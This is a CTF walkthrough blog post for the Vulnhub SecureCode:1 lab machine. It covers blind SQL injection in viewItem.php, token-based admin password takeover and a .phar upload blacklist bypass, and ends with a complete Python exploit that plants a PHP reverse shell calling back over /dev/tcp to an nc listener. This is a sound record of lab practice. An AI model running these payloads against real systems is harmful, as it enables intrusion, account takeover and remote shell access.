Windy's little blog

一切生活中的杂七杂八, and I like CTF.

Vulnhub SecureCode:1 Walkthrough (An OSWE-like machine)

https://www.vulnhub.com/entry/securecode-1,651/


Because there is POC code at the end of the blog, so the walkthrough will be simple.

Scan ports, only find 80.

Scan port 80, with extension .zip.

图片.png


Download source_code.zip, unzip it, and analyse the source code.

From db.sql, we know there are 2 users: admin and customer. Also, there are 4 items.

图片.png


First we can not bypass login check, because mysqli_real_escape_string bypass some special characters.

To bypass mysqli_real_escape_string, we need number, no string. Apparently, username and password are all string type.

图片.png


After some checking, we found viewItem.php is the only file,  that has no "include "../include/isAuthenticated.php"", and accept number type param "id".

图片.png


We may do a simple test, if viewItem.php is vulnerable to sql injection.

Be careful of the code, if the query is success, response is 404.  We use curl to check the response header code.

┌──(kali㉿mykali)-[~/Documents/securecode]
└─$ curl -I  "http://192.168.33.129/item/viewItem.php?id=4"       
HTTP/1.1 404 Not Found
...
                                                                                                                 
┌──(kali㉿mykali)-[~/Documents/securecode]
└─$ curl -I  "http://192.168.33.129/item/viewItem.php?id=5"       
HTTP/1.1 302 Found
...
Content-Type: text/html; charset=UTF-8
                                                                                                                 
┌──(kali㉿mykali)-[~/Documents/securecode]
└─$ curl -I  "http://192.168.33.129/item/viewItem.php?id=5+or+1=1"
HTTP/1.1 404 Not Found
...
                                                                                                                 
┌──(kali㉿mykali)-[~/Documents/securecode]
└─$ curl -I  "http://192.168.33.129/item/viewItem.php?id=5+or+1=2"
HTTP/1.1 302 Found
...


So here do have a SQL injection. This is the most hard part I think, the following things are easy.

In order to become admin, we need to reset password, then the server will generate a special token for admin.

"doResetPassword.php" will need this token as param.

图片.png


Sqlmap can dump all the databases, including token for admin.

图片.png


Then we can reset the password with this token.


图片.png


With the new password, we can login as admin, and get 1st flag.

After login, we need to upload reverse shell.

At panel ITEM, we can upload only image files, because some danger files are in blacklist.

图片.png


We change our reverse shell file to *.phar, then we can successfully bypass the blacklist, and get reverse shell. Then get 2nd flag.


The last step is to write a POC.

Thanks for this great code:https://pastebin.com/JCnqb8ei

I just change it to python3 version, for learning purpose.

'''
This POC code is a modified copy of original one:
https://pastebin.com/JCnqb8ei
Just for self learning and practise.
'''
#!/usr/bin/python3
import requests
import sys
import random
import string
import re
import time
import subprocess
from colorama import Fore, Back, Style
def viewItem(s, target, query):
    url = f"http://{target}/item/viewItem.php?id=5+or+{query}"
    r = s.get(url)
    #Sql get data, target return 404, we return TRUE, means success
    return int(r.status_code) == 404
def is_injectable(s, target):
    return viewItem(s, target, "1=1") == True and viewItem(s, target, "1=0") ==False
if __name__ == "__main__":
    if len(sys.argv) != 4:
        print(f"[+] Usage:{sys.argv[0]} <target> <lhost> <lport>")
        sys.exit(1)
    print(Fore.CYAN)
    print("Poc code for SecureCode1@Vulnhub")
    print(Fore.RESET)
    target = sys.argv[1]
    lhost = sys.argv[2]
    lport = sys.argv[3]
    s = requests.Session()
    #check if sql injection is available
    if is_injectable(s, target):
        print(f"{Fore.GREEN}[+] Target is vulnerable!{Fore.RESET}")
    #reset the admin's password through token
    print("[*] Sending request to create a password reset token for admin...")
    s.post(f"http://{target}/login/resetPassword.php", data={"username":"admin"})
    print("[*] Dumping admin's reset token...")
    token_query = "(select+ascii(substr((select+token+from+user+where+id=1),%d,1)))%s%d"
    admin_token = ""
    sys.stdout.write(f"{Fore.YELLOW}[+] ")
    for i in range(1,20):
        low = 32
        high = 126
        mid = 0
        found = False
        while low <= high and not found:
            mid = (high + low) // 2
            if viewItem(s,target, token_query % (i,">",mid)):
                low = mid + 1
            elif viewItem(s, target, token_query % (i,"<",mid)):
                high = mid - 1
            else:
                admin_token += chr(mid)
                sys.stdout.write(chr(mid))
                sys.stdout.flush()
                found = True
        if not found:
            sys.stdout.write(f"{Fore.RESET}\n")
            break
    new_password = ''.join(random.choice(string.ascii_lowercase) for _ in range(10))
    url = f"http://{target}/login/doChangePassword.php"
    r = s.post(url, data={"token":admin_token,"password":new_password})
    if "Success!" in r.text:
        print(f"{Fore.GREEN}[+] Admin password changed to: {new_password}{Fore.RESET}")
    else:
        print(f"{Fore.RED}[+] Admin password change failed!{Fore.RESET}")
        sys.exit(-1)
    # log in as admin
    url = f"http://{target}/login/checkLogin.php"
    data = {
        "username":"admin",
        "password":new_password
    }
    r = s.post(url, data=data)
    if "Success!" in r.text:
        print(f"{Fore.GREEN}[+] Successfully logged in as admin.{Fore.RESET}")
    else:
        print(f"{Fore.RED}[+] Admin log in failed!{Fore.RESET}")
        sys.exit(-1)
    #dump the 1st flag
    flag_regex = re.compile("FLAG1: [\da-f]*")
    flag = flag_regex.findall(r.text)[0][7:]
    print(f"{Style.BRIGHT}{Fore.GREEN}[+] Flag #1 ==> {flag}{Style.RESET_ALL}")
    #upload reverse shell code
    print("[*] Uploading reverse shell...")
    url = f"http://{target}/item/updateItem.php"
    shell_name = ''.join(random.choice(string.ascii_lowercase) for _ in range(15)) + '.phar'
    shell_code = f"<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'\");?>"
    files = {
                'id':          (None, 1),
                'id_user':     (None, 1),
                'name':        (None, 'A Web Shell?'),
                'image':       (shell_name, shell_code),
                'description': (None, 'Oops...'),
                'price':       (None, 1337)
            }
    r = s.post(url, files=files)
    if "Success" in r.text:
        print(f"{Fore.GREEN}[+] Reverse shell \"{shell_name}\" successfully uploaded.{Fore.RESET}")
    else:
        print(f"{Fore.RED}[+] Shell upload failed!{Fore.RESET}")
    #connect to shell
    print("[*] Connecting to reverse shell...")
    print("[+] Type cat /var/www/flag2.txt")
    sub = subprocess.Popen(["nc","-nlvp",lport])
    s.get(f"http://{target}/item/image/{shell_name}")



发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

Powered By Z-BlogPHP 1.7.0